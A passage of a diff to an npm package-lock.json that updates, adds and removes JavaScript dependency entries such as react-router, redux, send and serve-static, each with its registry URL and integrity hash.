"sha1-c7Xuyj+rZT49P5Qis0GtQiBdyWU=", + "requires": { + "co": "4.6.0", + "fast-deep-equal": "1.1.0", + "fast-json-stable-stringify": "2.0.0", + "json-schema-traverse": "0.3.1" + } + }, + "babel-runtime": { + "version": "6.26.0", + "resolved": "https://registry.npmjs.org/babel-runtime/-/babel-runtime-6.26.0.tgz", + "integrity": "sha1-llxwWGaOgrVde/4E/yM3vItWR/4=", + "requires": { + "core-js": "2.5.7", + "regenerator-runtime": "0.11.1" + } + }, + "regenerator-runtime": { + "version": "0.11.1", + "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.11.1.tgz", + "integrity": "sha512-MguG95oij0fC3QV3URf4V2SDYGJhJnJGqvIIgdECeODCT98wSWDAJ94SSuVpYQUoTcGUIL6L4yNB7j1DFFHSBg==" + } } }, + "react-lifecycles-compat": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/react-lifecycles-compat/-/react-lifecycles-compat-3.0.4.tgz", + "integrity": "sha512-fBASbA6LnOU9dOU2eW7aQ8xmYBSXUIWr+UmF9b1efZBazGNO+rcXT/icdKnYm2pTwcRylVUYwW7H1PHfLekVzA==" + }, "react-modal-dialog": { "version": "4.0.7", "resolved": "https://registry.npmjs.org/react-modal-dialog/-/react-modal-dialog-4.0.7.tgz", @@ -11649,14 +13739,23 @@ } }, "react-overlays": { - "version": "0.7.4", - "resolved": "https://registry.npmjs.org/react-overlays/-/react-overlays-0.7.4.tgz", - "integrity": "sha512-7vsooMx3siLAuEfTs8FYeP/lAORWWFXTO8PON3KgX0Htq1Oa+po6ioSjGyO0/GO5CVSMNhpWt6V2opeexHgBuQ==", + "version": "0.8.3", + "resolved": "https://registry.npmjs.org/react-overlays/-/react-overlays-0.8.3.tgz", + "integrity": "sha512-h6GT3jgy90PgctleP39Yu3eK1v9vaJAW73GOA/UbN9dJ7aAN4BTZD6793eI1D5U+ukMk17qiqN/wl3diK1Z5LA==", "requires": { "classnames": "2.2.5", "dom-helpers": "3.3.1", - "prop-types": "15.6.1", - "prop-types-extra": "1.0.1", + "prop-types": "15.6.2", + "prop-types-extra": "1.1.0", + "react-transition-group": "2.4.0", + "warning": "3.0.0" + } + }, + "react-prop-types": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/react-prop-types/-/react-prop-types-0.4.0.tgz", + "integrity": "sha1-+ZsL+0AGkpya8gUefBQUpcdbk9A=", + "requires": { "warning": "3.0.0" } }, @@ -11670,7 +13769,7 @@ "lodash": "4.17.10", "lodash-es": "4.17.10", "loose-envify": "1.3.1", - "prop-types": "15.6.1" + "prop-types": "15.6.2" }, "dependencies": { "hoist-non-react-statics": { @@ -11691,19 +13790,27 @@ } }, "react-router": { - "version": "4.2.0", - "resolved": "https://registry.npmjs.org/react-router/-/react-router-4.2.0.tgz", - "integrity": "sha1-Yfez43cNrrJAYtrj7t7xsFQVWYY=", + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/react-router/-/react-router-4.3.1.tgz", + "integrity": "sha512-yrvL8AogDh2X42Dt9iknk4wF4V8bWREPirFfS9gLU1huk6qK41sg7Z/1S81jjTrGHxa3B8R3J6xIkDAA6CVarg==", "requires": { "history": "4.7.2", - "hoist-non-react-statics": "2.3.1", - "invariant": "2.2.2", + "hoist-non-react-statics": "2.5.5", + "invariant": "2.2.4", "loose-envify": "1.3.1", "path-to-regexp": "1.7.0", - "prop-types": "15.6.1", - "warning": "3.0.0" + "prop-types": "15.6.2", + "warning": "4.0.1" }, "dependencies": { + "invariant": { + "version": "2.2.4", + "resolved": "https://registry.npmjs.org/invariant/-/invariant-2.2.4.tgz", + "integrity": "sha512-phJfQVBuaJM5raOpJjSfkiD6BpbCE4Ns//LaXl6wGYtUBY83nWS6Rf9tXm2e8VaK60JEjYldbPif/A2B1C2gNA==", + "requires": { + "loose-envify": "1.3.1" + } + }, "path-to-regexp": { "version": "1.7.0", "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-1.7.0.tgz", @@ -11711,26 +13818,52 @@ "requires": { "isarray": "0.0.1" } + }, + "warning": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/warning/-/warning-4.0.1.tgz", + "integrity": "sha512-rAVtTNZw+cQPjvGp1ox0XC5Q2IBFyqoqh+QII4J/oguyu83Bax1apbo2eqB8bHRS+fqYUBagys6lqUoVwKSmXQ==", + "requires": { + "loose-envify": "1.3.1" + } } } }, "react-router-dom": { - "version": "4.2.2", - "resolved": "https://registry.npmjs.org/react-router-dom/-/react-router-dom-4.2.2.tgz", - "integrity": "sha1-yKgd863Fi7qKdngulGy9Tq5km40=", + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/react-router-dom/-/react-router-dom-4.3.1.tgz", + "integrity": "sha512-c/MlywfxDdCp7EnB7YfPMOfMD3tOtIjrQlj/CKfNMBxdmpJP8xcz5P/UAFn3JbnQCNUxsHyVVqllF9LhgVyFCA==", "requires": { "history": "4.7.2", - "invariant": "2.2.2", + "invariant": "2.2.4", "loose-envify": "1.3.1", - "prop-types": "15.6.1", - "react-router": "4.2.0", - "warning": "3.0.0" + "prop-types": "15.6.2", + "react-router": "4.3.1", + "warning": "4.0.1" + }, + "dependencies": { + "invariant": { + "version": "2.2.4", + "resolved": "https://registry.npmjs.org/invariant/-/invariant-2.2.4.tgz", + "integrity": "sha512-phJfQVBuaJM5raOpJjSfkiD6BpbCE4Ns//LaXl6wGYtUBY83nWS6Rf9tXm2e8VaK60JEjYldbPif/A2B1C2gNA==", + "requires": { + "loose-envify": "1.3.1" + } + }, + "warning": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/warning/-/warning-4.0.1.tgz", + "integrity": "sha512-rAVtTNZw+cQPjvGp1ox0XC5Q2IBFyqoqh+QII4J/oguyu83Bax1apbo2eqB8bHRS+fqYUBagys6lqUoVwKSmXQ==", + "requires": { + "loose-envify": "1.3.1" + } + } } }, "react-table": { - "version": "6.8.2", - "resolved": "https://registry.npmjs.org/react-table/-/react-table-6.8.2.tgz", - "integrity": "sha1-Olrvq8hZUzANFnhvowfDBhDbmtw=", + "version": "6.8.6", + "resolved": "https://registry.npmjs.org/react-table/-/react-table-6.8.6.tgz", + "integrity": "sha1-oK2LSDkxkFLVvvwBJgP7Fh5S7eM=", "requires": { "classnames": "2.2.5" } @@ -11743,6 +13876,17 @@ "classnames": "2.2.5" } }, + "react-transition-group": { + "version": "2.4.0", + "resolved": "https://registry.npmjs.org/react-transition-group/-/react-transition-group-2.4.0.tgz", + "integrity": "sha512-Xv5d55NkJUxUzLCImGSanK8Cl/30sgpOEMGc5m86t8+kZwrPxPCPcFqyx83kkr+5Lz5gs6djuvE5By+gce+VjA==", + "requires": { + "dom-helpers": "3.3.1", + "loose-envify": "1.3.1", + "prop-types": "15.6.2", + "react-lifecycles-compat": "3.0.4" + } + }, "read-pkg": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/read-pkg/-/read-pkg-1.1.0.tgz", @@ -11820,24 +13964,24 @@ } } }, - "readline2": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/readline2/-/readline2-1.0.1.tgz", - "integrity": "sha1-QQWWCP/BVHV7cV2ZidGZ/783LjU=", + "recast": { + "version": "0.11.23", + "resolved": "https://registry.npmjs.org/recast/-/recast-0.11.23.tgz", + "integrity": "sha1-RR/TAEqx5N+bTktmN2sqIZEkYtM=", "dev": true, "requires": { - "code-point-at": "1.1.0", - "is-fullwidth-code-point": "1.0.0", - "mute-stream": "0.0.5" - } - }, - "rechoir": { - "version": "0.6.2", - "resolved": "https://registry.npmjs.org/rechoir/-/rechoir-0.6.2.tgz", - "integrity": "sha1-hSBLVNuoLVdC4oyWdW70OvUOM4Q=", - "dev": true, - "requires": { - "resolve": "1.4.0" + "ast-types": "0.9.6", + "esprima": "3.1.3", + "private": "0.1.7", + "source-map": "0.5.6" + }, + "dependencies": { + "esprima": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/esprima/-/esprima-3.1.3.tgz", + "integrity": "sha1-/cpRzuYTOJXjyI1TXOSdv/YqRjM=", + "dev": true + } } }, "redent": { @@ -11850,51 +13994,13 @@ "strip-indent": "1.0.1" } }, - "reduce-css-calc": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/reduce-css-calc/-/reduce-css-calc-1.3.0.tgz", - "integrity": "sha1-dHyRTgSWFKTJz7umKYca0dKSdxY=", - "dev": true, - "requires": { - "balanced-match": "0.4.2", - "math-expression-evaluator": "1.2.17", - "reduce-function-call": "1.0.2" - }, - "dependencies": { - "balanced-match": { - "version": "0.4.2", - "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-0.4.2.tgz", - "integrity": "sha1-yz8+PHMtwPAe5wtAPzAuYddwmDg=", - "dev": true - } - } - }, - "reduce-function-call": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/reduce-function-call/-/reduce-function-call-1.0.2.tgz", - "integrity": "sha1-WiAL+S4ON3UXUv5FsKszD9S2vpk=", - "dev": true, - "requires": { - "balanced-match": "0.4.2" - }, - "dependencies": { - "balanced-match": { - "version": "0.4.2", - "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-0.4.2.tgz", - "integrity": "sha1-yz8+PHMtwPAe5wtAPzAuYddwmDg=", - "dev": true - } - } - }, "redux": { - "version": "3.7.2", - "resolved": "https://registry.npmjs.org/redux/-/redux-3.7.2.tgz", - "integrity": "sha1-BrcxIyFZAdJdBlvjQusCa8HIU3s=", + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/redux/-/redux-4.0.0.tgz", + "integrity": "sha512-NnnHF0h0WVE/hXyrB6OlX67LYRuaf/rJcbWvnHHEPCF/Xa/AZpwhs/20WyqzQae5x4SD2F9nPObgBh2rxAgLiA==", "requires": { - "lodash": "4.17.4", - "lodash-es": "4.17.4", "loose-envify": "1.3.1", - "symbol-observable": "1.0.4" + "symbol-observable": "1.2.0" } }, "regenerate": { @@ -11924,11 +14030,37 @@ "resolved": "https://registry.npmjs.org/regex-cache/-/regex-cache-0.4.3.tgz", "integrity": "sha1-mxpsNdTQ3871cRrmUejp09cRQUU=", "dev": true, + "optional": true, "requires": { "is-equal-shallow": "0.1.3", "is-primitive": "2.0.0" } }, + "regex-not": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/regex-not/-/regex-not-1.0.2.tgz", + "integrity": "sha512-J6SDjUgDxQj5NusnOtdFxDwN/+HWykR8GELwctJ7mdqhcyy1xEc4SRFHUXvxTp661YaVKAjfRLZ9cCqS6tn32A==", + "dev": true, + "requires": { + "extend-shallow": "3.0.2", + "safe-regex": "1.1.0" + } + }, + "regexp.prototype.flags": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/regexp.prototype.flags/-/regexp.prototype.flags-1.2.0.tgz", + "integrity": "sha512-ztaw4M1VqgMwl9HlPpOuiYgItcHlunW0He2fE6eNfT6E/CF2FtYi9ofOYe4mKntstYk0Fyh/rDRBdS3AnxjlrA==", + "dev": true, + "requires": { + "define-properties": "1.1.3" + } + }, + "regexpp": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/regexpp/-/regexpp-2.0.0.tgz", + "integrity": "sha512-g2FAVtR8Uh8GO1Nv5wpxW7VFVwHcCEr4wyA8/MHiRkO8uHoR5ntAA8Uq3P1vvMTX/BeQiRVSpDGLd+Wn5HNOTA==", + "dev": true + }, "regexpu-core": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/regexpu-core/-/regexpu-core-2.0.0.tgz", @@ -11963,12 +14095,39 @@ } } }, + "relateurl": { + "version": "0.2.7", + "resolved": "https://registry.npmjs.org/relateurl/-/relateurl-0.2.7.tgz", + "integrity": "sha1-VNvzd+UUQKypCkzSdGANP/LYiKk=", + "dev": true + }, "remove-trailing-separator": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/remove-trailing-separator/-/remove-trailing-separator-1.0.2.tgz", "integrity": "sha1-abBi2XhyetFNxrVrpKt3L9jXBRE=", "dev": true }, + "renderkid": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/renderkid/-/renderkid-2.0.1.tgz", + "integrity": "sha1-iYyr/Ivt5Le5ETWj/9Mj5YwNsxk=", + "dev": true, + "requires": { + "css-select": "1.2.0", + "dom-converter": "0.1.4", + "htmlparser2": "3.3.0", + "strip-ansi": "3.0.1", + "utila": "0.3.3" + }, + "dependencies": { + "utila": { + "version": "0.3.3", + "resolved": "https://registry.npmjs.org/utila/-/utila-0.3.3.tgz", + "integrity": "sha1-1+jn1+MJEHCSsF+NloiCTWM6QiY=", + "dev": true + } + } + }, "repeat-element": { "version": "1.1.2", "resolved": "https://registry.npmjs.org/repeat-element/-/repeat-element-1.1.2.tgz", @@ -12052,6 +14211,18 @@ "throttleit": "1.0.0" } }, + "require-directory": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz", + "integrity": "sha1-jGStX9MNqxyXbiNE/+f3kqam30I=", + "dev": true + }, + "require-main-filename": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/require-main-filename/-/require-main-filename-1.0.1.tgz", + "integrity": "sha1-l/cXtp1IeE9fUmpsWqj/3aBVpNE=", + "dev": true + }, "require-uncached": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/require-uncached/-/require-uncached-1.0.3.tgz", @@ -12068,13 +14239,21 @@ "integrity": "sha1-kl0mAdOaxIXgkc8NpcbmlNw9yv8=", "dev": true }, - "resolve": { - "version": "1.4.0", - "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.4.0.tgz", - "integrity": "sha512-aW7sVKPufyHqOmyyLzg/J+8606v5nevBgaliIlV7nUpVMsDnoBGV/cbSLNjZAg9q0Cfd/+easKVKQ8vOu8fn1Q==", + "resolve-cwd": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/resolve-cwd/-/resolve-cwd-2.0.0.tgz", + "integrity": "sha1-AKn3OHVW4nA46uIyyqNypqWbZlo=", "dev": true, "requires": { - "path-parse": "1.0.5" + "resolve-from": "3.0.0" + }, + "dependencies": { + "resolve-from": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-3.0.0.tgz", + "integrity": "sha1-six699nWiBvItuZTM17rywoYh0g=", + "dev": true + } } }, "resolve-from": { @@ -12088,21 +14267,40 @@ "resolved": "https://registry.npmjs.org/resolve-pathname/-/resolve-pathname-2.2.0.tgz", "integrity": "sha1-fpriHtgV/WOrGJre7mTcgx7vqHk=" }, + "resolve-url": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/resolve-url/-/resolve-url-0.2.1.tgz", + "integrity": "sha1-LGN/53yJOv0qZj/iGqkIAGjiBSo=", + "dev": true + }, "restore-cursor": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/restore-cursor/-/restore-cursor-1.0.1.tgz", - "integrity": "sha1-NGYfRohjJ/7SmRR5FSJS35LapUE=", + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/restore-cursor/-/restore-cursor-2.0.0.tgz", + "integrity": "sha1-n37ih/gv0ybU/RYpI9YhKe7g368=", "dev": true, "requires": { - "exit-hook": "1.1.1", - "onetime": "1.1.0" + "onetime": "2.0.1", + "signal-exit": "3.0.2" } }, + "ret": { + "version": "0.1.15", + "resolved": "https://registry.npmjs.org/ret/-/ret-0.1.15.tgz", + "integrity": "sha512-TTlYpa+OL+vMMNG24xSlQGEJ3B/RzEfUlLct7b5G/ytav+wPrplCpVMFuwzXbkecJrb6IYo1iFb0S9v37754mg==", + "dev": true + }, + "rfdc": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/rfdc/-/rfdc-1.1.2.tgz", + "integrity": "sha512-92ktAgvZhBzYTIK0Mja9uen5q5J3NRVMoDkJL2VMwq6SXjVCgqvQeVP2XAaUY6HT+XpQYeLSjb3UoitBryKmdA==", + "dev": true + }, "right-align": { "version": "0.1.3", "resolved": "https://registry.npmjs.org/right-align/-/right-align-0.1.3.tgz", "integrity": "sha1-YTObci/mo1FWiSENJOFMlhSGE+8=", "dev": true, + "optional": true, "requires": { "align-text": "0.1.4" } @@ -12117,25 +14315,49 @@ } }, "ripemd160": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/ripemd160/-/ripemd160-0.2.0.tgz", - "integrity": "sha1-K/GYveFnys+lHAqSjoS2i74XH84=", - "dev": true - }, - "run-async": { - "version": "0.1.0", - "resolved": "https://registry.npmjs.org/run-async/-/run-async-0.1.0.tgz", - "integrity": "sha1-yK1KXhEGYeQCp9IbUw4AnyX444k=", + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/ripemd160/-/ripemd160-2.0.2.tgz", + "integrity": "sha512-ii4iagi25WusVoiC4B4lq7pbXfAp3D9v5CwfkY33vffw2+pkDjY1D8GaN7spsxvCSx8dkPqOZCEZyfxcmJG2IA==", "dev": true, "requires": { - "once": "1.4.0" + "hash-base": "3.0.4", + "inherits": "2.0.3" } }, - "rx-lite": { - "version": "3.1.2", - "resolved": "https://registry.npmjs.org/rx-lite/-/rx-lite-3.1.2.tgz", - "integrity": "sha1-Gc5QLKVyZl87ZHsQk5+X/RYV8QI=", - "dev": true + "run-async": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/run-async/-/run-async-2.3.0.tgz", + "integrity": "sha1-A3GrSuC91yDUFm19/aZP96RFpsA=", + "dev": true, + "requires": { + "is-promise": "2.1.0" + } + }, + "run-queue": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/run-queue/-/run-queue-1.0.3.tgz", + "integrity": "sha1-6Eg5bwV9Ij8kOGkkYY4laUFh7Ec=", + "dev": true, + "requires": { + "aproba": "1.2.0" + } + }, + "rxjs": { + "version": "5.5.11", + "resolved": "https://registry.npmjs.org/rxjs/-/rxjs-5.5.11.tgz", + "integrity": "sha512-3bjO7UwWfA2CV7lmwYMBzj4fQ6Cq+ftHc2MvUe+WMS7wcdJ1LosDWmdjPQanYp2dBRj572p7PeU81JUxHKOcBA==", + "dev": true, + "requires": { + "symbol-observable": "1.0.1" + }, + "dependencies": { + "symbol-observable": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/symbol-observable/-/symbol-observable-1.0.1.tgz", + "integrity": "sha1-g0D8RwLDEi310iKI+IKD9RPT/dQ=", + "dev": true + } + } }, "safe-buffer": { "version": "5.1.1", @@ -12143,12 +14365,46 @@ "integrity": "sha1-iTMSr2myEj3vcfV4iQAWce6yyFM=", "dev": true }, - "sax": { - "version": "1.2.4", - "resolved": "https://registry.npmjs.org/sax/-/sax-1.2.4.tgz", - "integrity": "sha512-NqVDv9TpANUjFm0N8uM5GxL36UgKi9/atZw+x7YFnQ8ckwFGKrl4xX4yWtrey3UJm5nP1kUbnYgLopqWNSRhWw==", + "safe-regex": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/safe-regex/-/safe-regex-1.1.0.tgz", + "integrity": "sha1-QKNmnzsHfR6UPURinhV91IAjvy4=", + "dev": true, + "requires": { + "ret": "0.1.15" + } + }, + "safer-buffer": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", + "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==", "dev": true }, + "schema-utils": { + "version": "0.4.7", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-0.4.7.tgz", + "integrity": "sha512-v/iwU6wvwGK8HbU9yi3/nhGzP0yGSuhQMzL6ySiec1FSrZZDkhm4noOSWzrNFo/jEc+SJY6jRTwuwbSXJPDUnQ==", + "dev": true, + "requires": { + "ajv": "6.5.2", + "ajv-keywords": "3.2.0" + } + }, + "select-hose": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/select-hose/-/select-hose-2.0.0.tgz", + "integrity": "sha1-Yl2GWPhlr0Psliv8N2o3NZpJlMo=", + "dev": true + }, + "selfsigned": { + "version": "1.10.3", + "resolved": "https://registry.npmjs.org/selfsigned/-/selfsigned-1.10.3.tgz", + "integrity": "sha512-vmZenZ+8Al3NLHkWnhBQ0x6BkML1eCP2xEi3JE+f3D9wW9fipD9NNJHYtE9XJM4TsPaHGZJIamrSI6MTg1dU2Q==", + "dev": true, + "requires": { + "node-forge": "0.7.5" + } + }, "semver": { "version": "4.3.6", "resolved": "https://registry.npmjs.org/semver/-/semver-4.3.6.tgz", @@ -12156,95 +14412,185 @@ "dev": true }, "send": { - "version": "0.15.4", - "resolved": "https://registry.npmjs.org/send/-/send-0.15.4.tgz", - "integrity": "sha1-mF+qPihLAnPHkzZKNcZze9k5Bbk=", + "version": "0.16.2", + "resolved": "https://registry.npmjs.org/send/-/send-0.16.2.tgz", + "integrity": "sha512-E64YFPUssFHEFBvpbbjr44NCLtI1AohxQ8ZSiJjQLskAdKuriYEP6VyGEsRDH8ScozGpkaX1BGvhanqCwkcEZw==", "dev": true, "requires": { - "debug": "2.6.8", - "depd": "1.1.1", + "debug": "2.6.9", + "depd": "1.1.2", "destroy": "1.0.4", - "encodeurl": "1.0.1", + "encodeurl": "1.0.2", "escape-html": "1.0.3", - "etag": "1.8.0", - "fresh": "0.5.0", - "http-errors": "1.6.2", - "mime": "1.3.4", + "etag": "1.8.1", + "fresh": "0.5.2", + "http-errors": "1.6.3", + "mime": "1.4.1", "ms": "2.0.0", "on-finished": "2.3.0", "range-parser": "1.2.0", - "statuses": "1.3.1" + "statuses": "1.4.0" }, "dependencies": { + "debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dev": true, + "requires": { + "ms": "2.0.0" + } + }, "mime": { - "version": "1.3.4", - "resolved": "https://registry.npmjs.org/mime/-/mime-1.3.4.tgz", - "integrity": "sha1-EV+eO2s9rylZmDyzjxSaLUDrXVM=", + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/mime/-/mime-1.4.1.tgz", + "integrity": "sha512-KI1+qOZu5DcW6wayYHSzR/tXKCDC5Om4s1z2QJjDULzLcmf3DvzS7oluY4HCTrc+9FiKmWUgeNLg7W3uIQvxtQ==", + "dev": true + }, + "statuses": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/statuses/-/statuses-1.4.0.tgz", + "integrity": "sha512-zhSCtt8v2NDrRlPQpCNtw/heZLtfUDqxBM1udqikb/Hbk52LK4nQSwr10u77iopCW5LsyHpuXS0GnEc48mLeew==", "dev": true } } }, + "serialize-javascript": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-1.5.0.tgz", + "integrity": "sha512-Ga8c8NjAAp46Br4+0oZ2WxJCwIzwP60Gq1YPgU+39PiTVxyed/iKE/zyZI6+UlVYH5Q4PaQdHhcegIFPZTUfoQ==", + "dev": true + }, "serve-index": { - "version": "1.9.0", - "resolved": "https://registry.npmjs.org/serve-index/-/serve-index-1.9.0.tgz", - "integrity": "sha1-0rKA/FYNYW7oG0i/D6gqvtJIXOc=", + "version": "1.9.1", + "resolved": "https://registry.npmjs.org/serve-index/-/serve-index-1.9.1.tgz", + "integrity": "sha1-03aNabHn2C5c4FD/9bRTvqEqkjk=", "dev": true, "requires": { - "accepts": "1.3.3", + "accepts": "1.3.5", "batch": "0.6.1", - "debug": "2.6.8", + "debug": "2.6.9", "escape-html": "1.0.3", - "http-errors": "1.6.2", - "mime-types": "2.1.16", - "parseurl": "1.3.1" + "http-errors": "1.6.3", + "mime-types": "2.1.19", + "parseurl": "1.3.2" + }, + "dependencies": { + "debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dev": true, + "requires": { + "ms": "2.0.0" + } + }, + "mime-db": { + "version": "1.35.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.35.0.tgz", + "integrity": "sha512-JWT/IcCTsB0Io3AhWUMjRqucrHSPsSf2xKLaRldJVULioggvkJvggZ3VXNNSRkCddE6D+BUI4HEIZIA2OjwIvg==", + "dev": true + }, + "mime-types": { + "version": "2.1.19", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.19.tgz", + "integrity": "sha512-P1tKYHVSZ6uFo26mtnve4HQFE3koh1UWVkp8YUC+ESBHe945xWSoXuHHiGarDqcEZ+whpCDnlNw5LON0kLo+sw==", + "dev": true, + "requires": { + "mime-db": "1.35.0" + } + } } }, "serve-static": { - "version": "1.12.4", - "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-1.12.4.tgz", - "integrity": "sha1-m2qpjutyU8Tu3Ewfb9vKYJkBqWE=", + "version": "1.13.2", + "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-1.13.2.tgz", + "integrity": "sha512-p/tdJrO4U387R9oMjb1oj7qSMaMfmOyd4j9hOFoxZe2baQszgHcSWjuya/CiT5kgZZKRudHNOA0pYXOl8rQ5nw==", "dev": true, "requires": { - "encodeurl": "1.0.1", + "encodeurl": "1.0.2", "escape-html": "1.0.3", - "parseurl": "1.3.1", - "send": "0.15.4" + "parseurl": "1.3.2", + "send": "0.16.2" } }, + "set-blocking": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/set-blocking/-/set-blocking-2.0.0.tgz", + "integrity": "sha1-BF+XgtARrppoA93TgrJDkrPYkPc=", + "dev": true + }, "set-immediate-shim": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/set-immediate-shim/-/set-immediate-shim-1.0.1.tgz", "integrity": "sha1-SysbJ+uAip+NzEgaWOXlb1mfP2E=", "dev": true }, + "set-value": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/set-value/-/set-value-2.0.0.tgz", + "integrity": "sha512-hw0yxk9GT/Hr5yJEYnHNKYXkIA8mVJgd9ditYZCe16ZczcaELYYcfvaXesNACk2O8O0nTiPQcQhGUQj8JLzeeg==", + "dev": true, + "requires": { + "extend-shallow": "2.0.1", + "is-extendable": "0.1.1", + "is-plain-object": "2.0.4", + "split-string": "3.1.0" + }, + "dependencies": { + "extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", + "dev": true, + "requires": { + "is-extendable": "0.1.1" + } + } + } + }, "setimmediate": { "version": "1.0.5", "resolved": "https://registry.npmjs.org/setimmediate/-/setimmediate-1.0.5.tgz", "integrity": "sha1-KQy7Iy4waULX1+qbg3Mqt4VvgoU=" }, "setprototypeof": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.0.3.tgz", - "integrity": "sha1-ZlZ+NwQ+608E2RvWWMDL77VbjgQ=", + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.1.0.tgz", + "integrity": "sha512-BvE/TwpZX4FXExxOxZyRGQQv651MSwmWKZGqvmPcRIjDqWub67kTKuIMx43cZZrS/cBBzwBcNDWoFxt2XEFIpQ==", "dev": true }, "sha.js": { - "version": "2.2.6", - "resolved": "https://registry.npmjs.org/sha.js/-/sha.js-2.2.6.tgz", - "integrity": "sha1-F93t3F9yL7ZlAWWIlUYZd4ZzFbo=", - "dev": true - }, - "shelljs": { - "version": "0.7.8", - "resolved": "https://registry.npmjs.org/shelljs/-/shelljs-0.7.8.tgz", - "integrity": "sha1-3svPh0sNHl+3LhSxZKloMEjprLM=", + "version": "2.4.11", + "resolved": "https://registry.npmjs.org/sha.js/-/sha.js-2.4.11.tgz", + "integrity": "sha512-QMEp5B7cftE7APOjk5Y6xgrbWu+WkLVQwk8JNjZ8nKRciZaByEW6MubieAiToS7+dwvrjGhH8jRXz3MVd0AYqQ==", "dev": true, "requires": { - "glob": "7.1.2", - "interpret": "1.0.3", - "rechoir": "0.6.2" + "inherits": "2.0.3", + "safe-buffer": "5.1.1" } }, + "shallowequal": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/shallowequal/-/shallowequal-1.1.0.tgz", + "integrity": "sha512-y0m1JoUZSlPAjXVtPPW70aZWfIL/dSP7AFkRnniLCrK/8MDKog3TySTBmckD+RObVxH0v4Tox67+F14PdED2oQ==", + "dev": true + }, + "shebang-command": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-1.2.0.tgz", + "integrity": "sha1-RKrGW2lbAzmJaMOfNj/uXer98eo=", + "dev": true, + "requires": { + "shebang-regex": "1.0.0" + } + }, + "shebang-regex": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-1.0.0.tgz", + "integrity": "sha1-2kL0l0DAtC2yypcoVxyxkMmO/qM=", + "dev": true + }, "signal-exit": { "version": "3.0.2", "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.2.tgz", @@ -12258,10 +14604,121 @@ "dev": true }, "slice-ansi": { - "version": "0.0.4", - "resolved": "https://registry.npmjs.org/slice-ansi/-/slice-ansi-0.0.4.tgz", - "integrity": "sha1-7b+JA/ZvfOL46v1s7tZeJkyDGzU=", - "dev": true + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/slice-ansi/-/slice-ansi-1.0.0.tgz", + "integrity": 